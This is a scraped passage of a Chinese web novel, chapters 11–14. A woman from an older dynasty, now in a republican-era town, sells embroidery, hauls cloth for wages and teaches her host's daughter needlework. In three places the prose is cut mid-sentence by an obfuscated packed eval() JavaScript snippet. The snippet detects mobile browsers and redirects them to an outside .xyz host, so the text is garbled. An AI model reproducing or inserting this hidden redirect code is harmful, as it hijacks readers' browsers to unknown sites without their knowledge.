轮到检查她的证件时,检查的士兵看完她证件上的信息,知道她是逃难到这边来的,人家还好心提醒她:“城里有收容灾民的收容所,如果你在生活上有困难,可以去那里寻求帮助,想返乡或者落户也可以去那边,会有人安排。” “谢谢!”姜榕忽然就生出了一股跟对方打听丈夫下落的冲动。 她有想过,是不是仲烨然也来了这里,所以自己来到这边后,才会激活签到系统。 如果他真的来了,那么不管他是否还活着,姜榕都想找到他。 可她跟梅萍她们说自己丈夫参军这事,是为了更能取信她们而撒的谎。 现在又要怎么跟人家士兵说呢? 还是继续扯谎? 万一这些士兵真的帮忙去找人,岂不是白白浪费人家的人力物力和时间精力? 也许还会暴露自己撒谎的事,引起不必要的麻烦。 最终,姜榕还是没开口,收起证件,随着人群往城里走去。 11. 第 11 章 起先在城外姜榕只看到城墙和城门,本没觉得这座城与自己以往见过的城池区别有多大。 可一进来不同之处就很明显了。 城门处停着一些等着拉客的车,有马车、驴车甚至牛车,还有一种人力拉的车。 姜榕通过车夫招揽客人的话,听到他们称呼这车为黄包车。 第一次见,感觉颇为新奇。 那轮子是用铁与一种姜榕看不出是什么材质的东西做的,动起来时很轻巧,不像木轮那么笨重,怪不得人也能用它来做拉客的生意。 可惜她现在没钱,也没带可以遮掩系统包裹的包袱来。 要不然还能假装从包袱里拿出一包糙米,问问车夫能不能用米换一次坐车的机会。 姜榕刚在城门口问过布庄和成衣铺在哪里,这会儿看过城门附近,就先去找这两个店。 她边走边不动声色地观察这城里的一切。 街道两边,一些低矮的土坯房和草房看起来倒是跟她以前所在的朝代差不多,走到明显是富人住的地方时,就出现了她以前从没见过的建筑。 那些建筑不知道使用什么建成,墙体是灰白色,一般是两层或者三层,门前是个小庭院,里面种着花草。 正值盛夏,花草枝叶葳蕤,生长得十分茂盛。 有些小楼前又出现一种她从没见过的车,这些车她进城后在路上偶然见到过一次,前面没有牲畜拉着,也不知道怎么能跑得那么快。 难道这也是自行车的一种? 她看自行车碎片的简介时,见过两个轱辘的那种自行车,当时也很好奇那种车怎么跑的,现在进城在街道上见到实物,看别人骑,终于知道这种车是怎么开起来了。 最让姜榕惊奇的是那些房子的窗户和车窗上近乎透明的整块东西。 也许是琉璃? 还是用整块剔透的水晶磨成这样的薄片? 不过不管是琉璃还是水晶,做成那么大、那么薄透、那么平整的一块,应该价值不菲。 姜榕边看边感叹,其主人竟然将这等价值连城的极品宝物镶嵌在窗户上,可见其身家巨富。 除了这些,还让姜榕感觉不解的就是半空中连接在房子与房子之间的黑线了。 她不知道是什么东西,也不敢问。 一路走走看看,终于走到布庄和成衣铺所在的街道。 这两个铺子已经开张的消息,也是董芳一家告诉她们的。 也许是这里的商铺刚回复营业不久,每个铺子里的客人都不多。 姜榕先去的成衣铺。 在乡下时她观察过,大部分人的衣服跟她的也差不了太多,只是在形制上有些区别,而且女装的区别更大一些,男装很少人在意。 刚好她穿的是方便行动的窄袖男装,又是布料颜色都灰扑扑不太容易引起人注意的样子,所以她的衣服样式跟村里不太一样也没人起疑,只以为是她老家有这样的衣服。 在观察过村里人的着装后,姜榕已经把自己带的换洗那一套衣裳改好了,今天穿的就是那一身。 她进店后,店员态度还算热情,可惜她现在是个穷光蛋,想买什么也买不起。 今天来这一趟主要还是看人家的衣服怎么做,衣服上差异在村里时还不明显,在这里这一看就看出区别来了。 趁着这里没人认识自己,而且自己是顾客,不做过分的事店家应该不会对自己怎么样,姜榕大胆了些,指着一件挂起来的衣裳小声问:“请问,这裙子的袖子怎么只做了半截?” 店员脸上的笑差点维持不住,心想:这是哪儿来的土包子? 但面上还是保持住了笑容说:“这是我们店今年的新款布拉吉,全都是进口货,穿上保管您是这白城最洋气的女士!” 姜榕笑了笑,老实说:“抱歉,我现在还买不起,我是乡下来的,第一次进城,没见过这样的衣服,所以特别好奇。” 店员听了真是感觉又好气又好笑,说她是土包子吧,她又敢进店看衣服,说她自不量力吧,她又那么实诚,敢直说自己乡下来的,没钱买不起。 其实姜榕想问的很多,店里的女装除了这种只有半截袖子的裙子和她也有的衬衫之外,还有一些侧面开叉,看起来十分修身的裙子。 她想,若这些裙子出现在自己以前生活的朝代,那些夫人小姐们见到,没准会被唬得花容失色,直呼伤风败俗。 可惜她没钱买东西,没法理直气壮地让别人把店里的东西给自己一一介绍。 人家能态度这么好地回答她一个问题,姜榕觉得已经很不错了。 她没再问那些衣服,而是从口袋里拿出了一个她用改衣服剩下的布料做的小布袋。 布袋里是被叠得整整齐齐的两张绣帕。 她指了指那些侧面有开叉的裙子:“我看你们店里这些衣服也用到了刺绣,不知道收不收这样的帕子?” 帕子没展开的时候,店员还不觉得这个乡下来的没见识的姑娘能拿出什么好东西。 像这么厉害的绣娘早就被各大高级私人定制的制衣坊请去了,为了能留住客人,甭管人才藏得多深,那些东家、掌柜们,总能想办法打听到消息,把人请回去。 而那样的制衣坊绝大多数开在省城江凌那样的大城市,连她们这白城都没有。 等到绣帕被完全展开,店员眼睛一亮:“这……” 姜榕装不好意思:“这是我闲来无事做的,如今囊中羞涩,想换些钱补贴家用。” 店员有些意外地看了她一眼,竟然还会用成语,看来应该不是自己认为的那样是个乡下土包子。 再仔细看看她的手、脖子、头发等衣服没遮住的部位,脸和手背被晒得有些黄,但其他地方皮肤很白很细嫩,头发虽短却乌黑浓密,没准是哪家旧式大户人家养在深闺的小姐。 现在已经是新社会,很多旧式家族跟不上时代落魄了,女眷无奈之下会来卖自己的绣品也很正常。 是了是了,只有这样的来历才不会像其他以刺绣为生的绣娘一样,早早就被那些铺子收入囊中。 店员越想越觉得自己想得对。 她甚至已经联想到,若是自己为店里拉来这么一个被遗落的厉害的绣娘,姨妈肯定很高兴,也许还会给自己一个大红包当做奖励! 店员兴奋之下,完全忘了看姜榕的脚,那是一双大脚,而不是旧式大户人家小姐们都要裹的小脚。 她一把握住姜榕的手:“收收收,这样的绣品我们店肯定收的!我叫田雨,您叫我小雨就行,不知道您怎么称呼?” 姜榕被田雨突然的亲近吓了一跳,忙不自在地抽回手:“我叫姜榕,你可以直呼我的名字。” “好好好,那我叫您姜小姐,不知道除了帕子之外,您还有没有其他绣品?如果合适的话,我们这里都收的。” 姜榕摇头:“暂时没有。” 刺绣是一门好手艺,它养活了许许多多的女子,但如果有得选的话,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085016|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榕其实不想再碰刺绣。 做刺绣总是需要一直待在同一个小小的房间里、同一方窄窄的绣棚前。 那会让她觉得自己被什么禁锢着,让她回想起在姜家时,那压抑得让她喘不过气的感觉。 姜榕不知道为什么会这样,也曾质疑过自己,明明过得比很多人都好,为什么还要胡思乱想,如此不知足。 可就算会质疑自己,她也依然控制不住自己想要逃离的心。 “那太可惜了,冒昧地问一下,您是手头上没有合适的绣线和布料,还是家里不方便,所以才没能做其他绣品呢?”田雨这话也是试探的意思。 如果连丝线都缺,说明这位客人家中经济已然十分窘迫,有很大可能会接受店里的招揽。 她话里的试探姜榕自然听出来了,其实她的针线包里有绣线,但是她想教梅萍的女儿女红,好还梅萍冒险给自己担保的大人情。 如果在自己囊中羞涩的时候,能在昨晚活后,免费得到一些剩余的绣线和布料的话,何乐而不为? 更别说还有可能得到一份工作,在生存面前,哪怕再不想做这个,她也不会不知变通故步自封。 姜榕故意露出有些窘迫的神色,点头:“这帕子还是我以前绣的,让你见笑了。” “怎么会,你这帕子留多久都不过时,现在的人就喜欢这种寓意好的图案!”店员毫不吝啬地夸奖了一堆话,然后话音一转,“不知道您还接不接活?” 可算提到这个了,姜榕忙点头:“接的,只是我家离得比较远,也不方便住到城里来……” “这就有点难办了。”田雨嘴上这么说着,其实心里一惊笑开了花,立刻趁机要姜榕的住址,想着到时候好让姨妈知道上哪儿找人。 “不过您可以先留下您的住址,等我去问问我们店的掌柜,给您争取一下,看看能不能通融通融,让您拿活回去做,到时候要是掌柜同意,我亲自去您家通知您,怎么样?” 姜榕自然是求之不得:“我现在住在亲戚家。”接着就说了梅萍家的地址。 田雨简直如获至宝,为了能兜揽住这个人才,竟自作主张,给了姜榕一些布料和绣线:“这布料是要做一件这种旗袍的,要喜庆一点的图案。” “喜庆一点的……”姜榕趁机仔仔细细翻看了一下那件被称作旗袍的裙子,又看看田雨给自己的布料。 想了想后继续说:“喜鹊登梅你觉得怎么样?你这里有纸笔的话,我可以现画出来给你看看,先确定好样式,也好避免我绣出来后不合你们店的要求。” “您竟然还会画绣样,那样当然是更好了!”田雨当即去拿纸笔。 然而她拿出来那笔的笔尖处光秃秃的,一根毛都没有,也不知道是什么笔,让姜榕有些不知道该如何下手。 她又担心说了自己不会用这种笔会被怀疑,犹豫着不知该不该说。 好在田雨可那她一直不下笔,自己脑补帮她找了借口,认为她这种旧式家庭出来的女子肯定更惯用毛笔,又给她换了毛笔,拿了墨水瓶来。 姜榕总算松了口气,提笔沾墨。 几笔就在书页大的纸上,勾勒出了一副简略的喜鹊登梅图样,店里没有颜料,所以她画的梅花也是墨色。 两人一个认真画,一个认真看,谁也没发现,店里不知什么时候进来了一个人,也凑到柜台边上看。 等姜榕画完放下笔,那人突然出声:“墨梅画得真好,那雀放在这画里,却有些突兀了。” 12. 第 12 章 田雨下意识解释:“这是喜鹊登梅,不是墨梅。” 说完才反应过来,店里又进来客人了。 一抬头,那眼睛比看到姜榕带来的精美绣帕还亮:“谷小姐!欢迎光临,您上次订的新裙子刚做好裁剪,您今天来是对裙子有什么新想法吗?” 谷笙摇了摇头,余光瞥到柜台上那幅墨梅,又点点头:“原本没有新的想法,但看到那幅图,倒是想把裙子上的图案改成这个,我觉得这个图案去掉那只小雀后,绣在我的旗袍上与布料的颜色很搭,成品一定很好看!” “这……”田雨有些为难,现在姜榕还不是她们店里的绣娘。 田雨哪怕仗着这店是自己姨妈开的,敢拿一些布料给姜榕试试,也是有分寸的。 可不敢在没经过姨妈允许的情况下,直接让姜榕给常来店里定制服装的大客户做衣服。 她之前给姜榕拿的布料,只是用来做摆在店里售卖的成衣,就算做坏也不会有太大损失。 姜榕看出了田雨的为难,看在她先前对自己态度好,即将还要给自己一份工作的份上,出面帮她解了围。 “这位小姐,真是十分抱歉,我刚来店里应聘,还没跟店家达成合作,这幅喜鹊登梅就是店里给我的考验,如果我能通过,到时可以在看过你定下的裙子的布料和款式后,再为你画一副更合适的墨梅图样。” 田雨见姜榕为自己解围,暗自松了口气,又悄悄给了姜榕一个感激的眼神。 谷笙看了看姜榕手上的布料,跟自己的布料,在材质上和颜色上差别很大。 能画出这么一副图的人,专门画给自己定制的图案,肯定不会比这个差,人家愿意专门给自己画图样,她没什么不满。 再加上她也不是喜欢为难人的性子,就答应了:“也好,很期待你能成功通过店里的考验。” 谷笙说完,又让田雨给自己拿一件衬衫和一件黑色的裤子:“要比较庄重、干练一些的。” “好,这就为您挑选,您看这件怎么样?”田雨忙着去招待客人,给姜榕使了个眼神,示意姜榕先带着布料和绣线回去。 姜蓉了然点头,用田雨给的粗布包好做裙子的好布料和绣线,把粗布弄成个小包袱模样背在身上,收拾就离开了。 转头往布庄走去,想看看这里有没有跟自己那件白衬衫颜色、材质一样的布料。 这家成衣店在街头,布庄在街尾,得走个两三分钟。 姜榕离开成衣店刚走了一会儿,感觉天色越来越暗,抬头一眼,乌云已经从天边慢慢盖过来了。 在山里遇到过一次暴雨,姜榕深知白城夏季的雨水来得有多么迅速。 她担心田雨给的布料和绣线被淋湿,赶紧往布庄的方向跑。 跑到布庄门口,看到那里停着一辆大马车,一个看起来像是掌柜的人站在门口一脸焦急的样子,捂着腰团团转。 另一个看起来像店员的人,正满头大汗地从车上往店里搬运布料,嘴里还抱怨着:“我早就说这钱不能省不能省,你看看,现在好了吧,快下雨了,你那老腰还扭了,要是这些布料沾了水,我看看这回你怎么办!” 掌柜的气得想给他一个脑瓜崩:“还好意思怪我?要不是你之前磨磨唧唧的,搬两匹布休息十分钟,至于到现在还搬不完么!干活就老实干活,少给我叽叽喳喳说这些没用的!快点儿快点儿,大雨要来了!” 姜榕有些诧异店员敢用这样的态度跟掌柜说话,他不怕被辞退吗? 又看看掌柜,两人貌似长得有几分相似,也许是亲戚? 店员搬了一会儿,用手撑着车门累得呼哧带喘:“爹,您别光站着啊,赶紧找人去,别吝啬那点儿钱了成不成?!” 姜榕闻言了然,原来是父子,怪不得。 估计父子关系好,这当爹的平常也不严肃,要不然当儿子的不敢这样。 布庄掌柜此时心里也非常后悔,没花钱请人搬,可现在还上哪儿找人去? 原本街上还零星有点人走着,一看快下雨,人家都到处找地方躲雨去了,而且看他们这里忙,大部分人还好心地没往这边躲,就一个小姑娘跑过来了。 姜榕走过去,往那车里看了一眼,里面还剩大半车的布匹,按照那店员来回没几趟就要喘不上气的样,想在雨落下来前搬完是不可能的。 布庄掌柜看到有个姑娘凑过去看布,过来赶人:“小姑娘,我们这里还忙着,你要看布进店里看。” 姜榕却道:“掌柜的,你看我成吗?” “啊?”布庄掌柜一时没反应过来。 “搬布匹,你看我成吗?”姜榕又问了一次。 “你这……”布庄掌柜光顾着他的布,没仔细看姜榕。 他本来下意识想说她一个小姑娘细胳膊细腿儿的能有什么力气? 可话说一半,他认真一打量,发现人家竟然比他儿子还高,看着一点不像身娇体弱的样子,可真是人比人气死人。 姜榕继续说:“我也不趁人之危狮子大开口,搬完这些布匹,你给我一千元人民币就行,不要金圆券。” 姜榕不太懂行情,她是按照董二旺兄弟俩当搬运工每天挣得的钱来算的。 其实她还觉得自己要一千稍稍有些高了,但现在这不是情况紧急么,要价稍微高一点也正常。 布庄掌柜一听,这个价格确实可以接受,请搬运工干活,一天要给三千元的工钱,但他家少的时候只有一车布,多的时候也就两三车布。 他之前觉得给一天的工钱,人家只花一两个小时就能把活干完,很不划算,不如自家人慢慢搬,省下来请搬运工的钱,差不多能买五斤米了。 现在紧急情况,人家只要一千元工钱,真的很便宜了。 当然,前提是她真能干。 “行吧,你先试试,要是能干,一千就一千!” “好,掌柜的,你这里有不用的大块粗布吗?有的话弄几块来,直接搬太慢了,布匹用两块布裹起来,我一次应该能抗好几匹,你让你儿子在车上往布里捆布匹就行。” 布庄掌柜还没说话,他儿子已经高兴地拍了下手说:“这个好这个好,不能卖的粗布我们仓库里有好几匹,我这就去拿!” 他飞快往仓库跑,姜榕也没待着等,紧了紧背上小包袱的结,撸起袖子就开始搬。 掌柜的儿子一次最多只能搬四匹布,姜榕一次搬六匹,而且这不是她的极限,而是胳膊长度的极限,再多胳膊就环不过来了。 她跑了几趟,脸不红心不跳,连汗都没冒一滴。 没一会儿掌柜的儿子抱着几大张粗布回来,又是边跑边喘气。 看人家再看看自己儿子,布庄掌柜更羡慕了,真是恨不得把这糟心儿子扔了! 姜榕抬头看了一眼天色,手上飞快把布匹折叠成合适的宽条状,摆在车里没不了的空地,教掌柜的儿子怎么捆:“你这样装,两条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085017|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布为一组,一组装十匹布,这样我一边手可以挎着提十匹,一次就能搬二十匹。” “这样真行吗?”掌柜儿子看了看她的胳膊,瞅着也不是很粗,万一折了可怎么办? 姜榕对自己的力气有数:“你放心,别愣着了,赶紧装!” “好吧,要是你扛不动了说一声,我就少装一点。” 姜榕点头,说话间她已经捆好了第一趟的二十匹,折成两条宽带子的布分别绑起来,分摊重量,右手小臂从两条宽带子中间分别穿过去,像挎着篮子似的一提,就把布匹都提起来了,左手同理。 她一左一右各挎着十匹布,下盘稳当,步履看起来不紧不慢,实际速度还是挺快的,赶在雨下来之前,还真把那大半车布搬完了。 布庄掌柜乐呵呵地把钱和那几张用来捆布匹的粗布也一起给她了:“这些粗布下半部分泡过水,不好卖给客人了,上半部分还是好的,希望你别嫌弃。” 姜榕没想到还有这样的惊喜,不管是她还是梅萍一家都正是一穷二白的时候,就没故作清高地推拒:“不嫌弃不嫌弃,我家里正缺布给外甥外甥女做衣裳,掌柜的这是送到我心坎儿上了,真是多谢了!” “该是我谢你才对,要不是你帮忙,我家这批布料就完了。”这批布料可是店里最高档的布料之一,真淋了雨他家布庄肯定损失惨重,他是精明却不会用瑕疵货糊弄客人。 姜榕稀罕地摸了摸那两张面值五百的纸币,心想:幸好没拿银子和金子出来花,原来这里用的钱是这样的,不过用纸币不怕别人伪造吗? 稀罕完姜榕就把刚到手,还没捂热的这一千块钱递出去了:“不知道这些钱,在店里能买几尺白布?我想买一些。” 布庄掌柜:“不同材质和质量的白布价格不一样,你可以先看看想要哪一种,我给你个实惠价。” 姜榕跟着掌柜到放白布的地方看过之后,选了跟自己那件白衬衫布料颜色几乎一模一样的白布。 “就这个吧。” “这个一尺要六百元,你买的话,两尺布可以给你按照一千元算。” “那就要两尺,谢谢掌柜。”姜榕不在乎能买多少,只是想借着这个由头,把自己的白衬衫拿出来,好多一件换洗的衣服。 而且她也很想试试这里不一样的衣服。 这次的雨下得有些久,一直到下午五点多才停。 雨一停,姜榕立刻往村里赶。 走到城门口,恰好遇到同样干完活正要出城回村的董二旺兄弟俩,跟他俩打了个招呼,就走到他们队伍后面排队检查证件。 董二旺兄弟俩检查完,就站在检查的士兵旁边等她,一起结伴回村。 干等着有些无聊,他俩就跟旁边另一个士兵唠起来了。 姜榕离他们有些远,排到她的时候,董二旺和董三福已经快把自己全家的情况跟人家士兵秃噜完,都快说到自己祖上三代都是干啥的了。 轮到姜榕检查证件时,董三福见到她,突然想起她男人也是当兵的。 于是一拍大腿,十分好心地帮姜榕跟那位士兵说:“对了!我差点忘了,这个妹子也是军属来着,不过她男人去参军后就没了消息,她为了找人,才跑到咱们这儿来的,现在想找个人太难了,她一个妇道人家,辛辛苦苦地到处找人也是可怜,你们能帮着找找不?” 姜榕意识到董三福要说什么时已经晚了,董三福嘴太快,她想拦都来不及。 13. 第 13 章 那位士兵听到过、也见到过不少军属寻找参军的家人这样的事,对此已经见怪不怪了。 所以他对姜榕的态度依然没变,跟对待其他老百姓还是一样的。 其实董三福不知道,有些军属并不了解自己的家人到底参的什么军,曾经还出现过白军的家属找到红军那边,一通折腾后,才发现自己的家人没参加红军,而是被白军拉壮丁了。 那位士兵听了董三福的话,就问道:“这位嫂子知道您丈夫参加了哪个部队吗?” 姜榕忙打起精神回答:“不知道呢,他总是给我报喜不报忧,只说参军去了,刚开始还让老乡捎个口信,后来就没消息了,我听老乡说,这样可能是为了保密,也是为了保护我,我就没敢多问。” 他点点头,又问姜榕是哪里人、家里还有什么人之类的问题,姜榕都按照自己跟别人说的一一回答了。 最后,那位士兵问她丈夫的名字,姜榕原本想编个假名,可她又想起自己心中那个隐藏的期盼。 终究是鬼使神差似的,说出了自己丈夫的真名:“他叫仲烨然,我会写他的名字,我写给你看。” 说完立刻积极地蹲在地上划拉起来,写出那三个字给那位士兵看。 士兵看过之后,认真记了下来,心里对姜榕的怀疑降低了不少。 姜榕不知道,她之前给出的那些信息太模糊,还都几乎很难去考证,也没法找人作证。 那些信息,用来糊弄普通老百姓还行,遇上负责检查出入城市的士兵,不拿出点真东西来,是很难取信于他们。 毕竟他们在这里负责检查证件,可不只是过个场就行,是真的有敌特要抓。 而姜榕说出那个名字时,她的神态、动作、情绪上的波动与眼中的期盼骗不了人。 士兵可以分辨得出,这个名字大概率是真名,人也是对她很重要的人,这才为她的话增加了可信度。 “好,我记下了,嫂子不介意的话,可以留下住址,如果有这位同志的消息,我们一定及时告诉你。” 姜榕又把梅萍家的地址留下,郑重地跟他道了谢,才跟董三福兄弟俩一起离开。 因为没跟梅萍她们约好一起回去,所以他们路过前往农场的那个路口时没去农场找她们,直接回村了。 姜榕回到家顾不上休息,赶忙把衬衫拿出来,然后比照着衬衫的形状,在买回来的两尺白布上,剪出符合衬衫衣服片的轮廓。 又把那些布剪成几小块布片,相当于做个双重保障,做完这些天色也不早了。 姜榕就把今天带回来的东西都放在堂屋,拿了钥匙去灶房把米缸里拿出苞米开始舂。 舂了一会儿,梅萍几人就到家了。 她们先是走到堂屋,惊讶地发现堂屋里有不少布料,有粗布也有白布,还有个不知道装着什么的小包袱。 梅萍很久没在家里看到这么多布了,久到她甚至有些想不起上次见到是什么时候。 家里院子不大,灶房里的动静一进院子就能看得到。 梅萍猜到这些东西估计是姜榕带回来的,可今早姜榕去城里并没有带钱,她想给姜榕钱,姜榕也没要。 董小河好奇地想伸手去摸,手伸到一半,又想起来上次乱碰表姨的绣帕,就被母亲教训了,忙把手收回来:“妈,这是表姨带回来的吗?” 梅萍看他记得自己教的事,很欣慰自己没白教:“应该是,你要想看,去灶房问问你表姨。” “好,我这就去!” “顺便看看你表姨摘菜了没,要是还没摘,就跟她说我们今天带菜叶子回来了。” 其他人其实也好奇,但好歹都不是三岁小孩了,还是能忍得住的,就留在堂屋里处理从农场拿回来的菜叶子。 他们自家只有地瓜叶,这几天一直吃,也想换换别的口味。 今天农场里有择菜剩下的菜叶子,她们也分到了一些,今晚上就收拾收拾吃这个。 董小河跑过去的时候,姜榕刚把苞米碎倒下锅。 他们在堂屋说话,其实姜榕已经听见了,不过董小河跑过来叽叽喳喳地问,姜榕也没打断他。 等他说完后,又回答了他的问题,姜榕才随手搅了搅锅里的东西,盖上盖子跟他一起往堂屋走。 一进堂屋,不等梅萍问,就高兴地跟她们说:“我今天挣钱了!” 梅萍惊喜地说:“你今天去城里找到工作了?”她以为姜榕带回来的这些东西,全都是人家让她带回来做的活。 “工作有眉目了,不过还没有落实,我今天是帮人家搬东西挣到的钱。” 既然她先问到这个,姜榕就先把自己给成衣铺做绣品的事先说了,还拆开小包袱给她们看。 “这个小包袱里的东西,就是成衣铺让我带回来做的绣品和绣线。” 梅萍注意到她只说了小包袱:“那其他这些是?” “是我挣回来的呀!”说到这个姜榕更高兴,“今天快下雨的时候,我刚好去布庄,帮布庄搬了一车布料,布庄老板给的工钱,我全都换成了这些布料,回来就给自己做了一件衣服。” 最后那句,姜蓉是指着那些白布和那件白色衬衫说的。 同时心里暗喜,这件白衬衫总算过了明路,今晚过一遍水,以现在的天气,要不了多久衣服能晾干,明早就能穿! 她说完又指了指旁边的粗布:“这些粗布是布庄老板看我干活麻利,还帮他家避免了一车布被雨淋湿,特地送我的瑕疵布。” 她说着,把瑕疵的地方指给她们看。 梅萍一看就说:“你这可是捡到宝了,这点在我们庄户人家看来根本不算什么瑕疵,就是有点脏,泡水的地方变色、变硬比较严重而已,看着不太体面而已,以后把它洗干净,在洗的时候再用洗衣服的木棒槌敲一敲,敲软了,照样用!” “我也是这么想的,人家做生意需要讲究,我自己用可不讲究那么多,”姜榕拿着布比划了一下,“这几大张布料,给我们每人做一身衣裳还有得剩呢!” 别人对姜榕好,她就想对人家更好,所以得了这些布料,也想着跟她们分享。 梅萍却觉得她已经对自己全家够好了,忙拒绝:“不不不,不用,真不用给我们做!” 姜榕带来的荤油如今还放在厨房里,跟她们全家一起吃呢。 梅萍也是实在心疼自家孩子瘦得可怜,怕孩子养不活,想让孩子能吃上点好的,养养身子,才厚着脸皮接受姜榕的肉干和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085018|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荤油,但这次她可不想再白白收姜榕的东西。 搬运可是费大力气的辛苦活,一般女人都干不了,姜榕能干,是她的本事,也是她吃苦受累换来的。 梅萍继续劝她:“这是你好不容易挣回来的,我们可不能那么厚脸皮占你的便宜!你好好收着,布又不是别的东西,保管好了,能放很久,以后等你找到你男人,一起过日子、生孩子,可少不了这些。” 她说什么也不收,姜榕没办法,只好先把布料收起来,想着到时候按照她们的尺寸做出来,小孩子的衣服大人又穿不了,她总不能不给孩子们穿。 反正在乡下做衣服,也不用严格地按照尺寸去做。 小孩子一般都会做得大一些,再把边折起来缝,等孩子大了又放出来,这样一件衣服孩子就能穿好多年,给家里省钱。 至于大人的,梅萍比她矮小那么多,按照她的身量做出来,哪怕做大了姜榕也穿不下。 暗自决定好了那些粗布的用处,姜榕就提出自己早就想做的事:“姐,我觉得凤芸的手挺巧的,要不让凤芸跟着我学刺绣?” 梅萍不可置信地问:“你、你愿意传她手艺?” 姜榕摆手:“嗐,可别说什么传不传,我又不是什么刺绣大家,就是会做点绣活,咱们是自家人,既然会点东西,那教教晚辈也是正常。” 梅萍说:“可不能这么算,你这手艺花钱都不一定找得到门路学,你愿意教她手艺,是她的福气,以后你就是她师傅,等你老了,她给你养老送终都是应该的!” 今天惊喜一个接着一个砸下来,直接把梅萍都砸蒙了,她左想右想,想不起来自家有什么东西能当拜师礼,干脆就拉着女儿跪下,让女儿给姜榕磕头。 “别别别,用不着这样,快起来!”姜榕边说着,边急忙把人扶起来。 在村里待了几天,她也知道一些现在的规矩,很多人说现在是新社会,磕头下跪什么的都是需要摒弃的旧社会的东西。 虽然姜榕还不是特别了解新社会到底是怎么个新法,新旧社会又怎么分,但什么该做,什么不该做,但凡人家说过,她都认真去分辨并记住了。 梅萍激动到流泪,直说:“可惜今天来不及了,要不我该买块肉回来庆祝庆祝的。” 说到肉,姜榕也馋了,觉得吃肉庆祝这个主意非常好:“是了,这么想才对,咱们别总想着下跪,实在感谢我,给我做顿肉吃就挺好。” 梅萍眼中还闪着泪花,脸上却带着真心实意的笑容说:“那明天我就买半斤,不,一斤肉回来都给你吃!” 这里在之前一直比较动荡,老百姓没法安稳过日子,自然也没法养牲畜。 后来哪怕从打完仗的那一刻开始养牲畜,养到现在也没法宰来吃,所以市面上的牲畜很少,一斤肉可不便宜,能换六斤米呢。 对于梅萍家的经济条件来说,花钱买一斤肉也算是大出血了,但姜榕没再拦着。 毕竟董凤芸要是学会了这门手艺,那是可以去城里找个风吹不到雨淋不着的工作、每个月领薪水的,这顿肉姜榕吃着一点不亏心。 当晚吃过晚饭,洗漱过后,天已经暗了,没法做针线活,姜榕就先开始给董凤芸讲各种不同的针法。 14. 第 14 章 白城,兴祥成衣铺。 田雨正被她姨妈王珍指着脑门训:“我这真是不知道该说你什么好!怎么就那么大大咧咧的,才认识人家几天啊?一天都没到!第一天认识的人,就敢把店里的布料给人家,脑门那么大,光摆着好看不好使!万一人家拿走了不还回来,你怎么办?!” 就算王珍也觉得那绣帕上的绣工确实像田雨说的一样好,但不代表这事她就办得对! 田雨低着头弱弱地说:“要是真出问题,我、我用我的工钱赔?” 王珍瞪她:“这种事要是多来几次,你有多少工钱够赔的?” “肯定不会再有这样的事了。” 王珍还以为她低眉顺眼的,是吸取教训知错了,谁知接下来就听到她继续说:“白城哪儿还能找到绣技那么厉害的人!” “你!”王珍气结,抄起鸡毛掸子就要收拾她。 田雨忙道:“姨妈、姨妈别别别,我知道错了,其实我也没那么傻,您看看桌上的那两张绣帕。” 王珍挥了挥鸡毛掸子,吓唬了她几下,又重新在椅子上坐下。 瞥一眼桌上的绣帕,恼道:“还让我看,看什么看!我看一次火大一次!” 不过她的气并不是冲着绣帕去的,而是气田雨不够谨慎就算了,还不吸取教训! “您再看看今天的账嘛,我每天卖出去多少东西,提成多少,又有哪个地方用到店里的钱,全都在本子上记得清清楚楚。” 这一点王珍是比较认可她的,所以才敢放心把白城这家店铺交给她打理。 自己则趁着战争刚结束,省城房价还不高,跑去江凌城又买了一间铺子,打算在江陵城也开一家成衣铺。 王珍拿起本子翻看了一下:“这不是跟往常一样?哦,是不太一样,多了一套布料和丝线的支出。” “您没看仔细,”田雨示意她继续往后翻,“还有!” 王珍顺着她的意,往后看:“不就是两条手帕,等等……这就没了?” 她看出来了,这手帕只有进没有出:“你这丫头,人家是来卖绣品的,你怎么能拿人家的手帕,又不给人家钱?” “我觉得这是我跟她的默契,我们默认了这绣帕就是押金,您是没见着,那位绣娘特别聪明,她肯定不是忘了自己的绣帕给了我,我还没给她钱这事,她还在谷小姐来的时候给我解围了。”田雨顺便就把谷笙来时,一看到姜榕那幅喜鹊登梅,就看上了,想把它绣在她的新旗袍上的事。 “我后来忙着招待谷小姐,让她先行离开,她并没有提出异议。” 王珍听她这么一说,就觉得如果那两张绣帕是押金,也不是不能接受。 不过她还是要求田雨给自己保证,以后遇到这种事,不能再这样不清不楚,必须得双方说好并且立下字据才行。 “这是对别人,也是对我们自己负责,记住没!” 田雨急忙点头。 董家村。 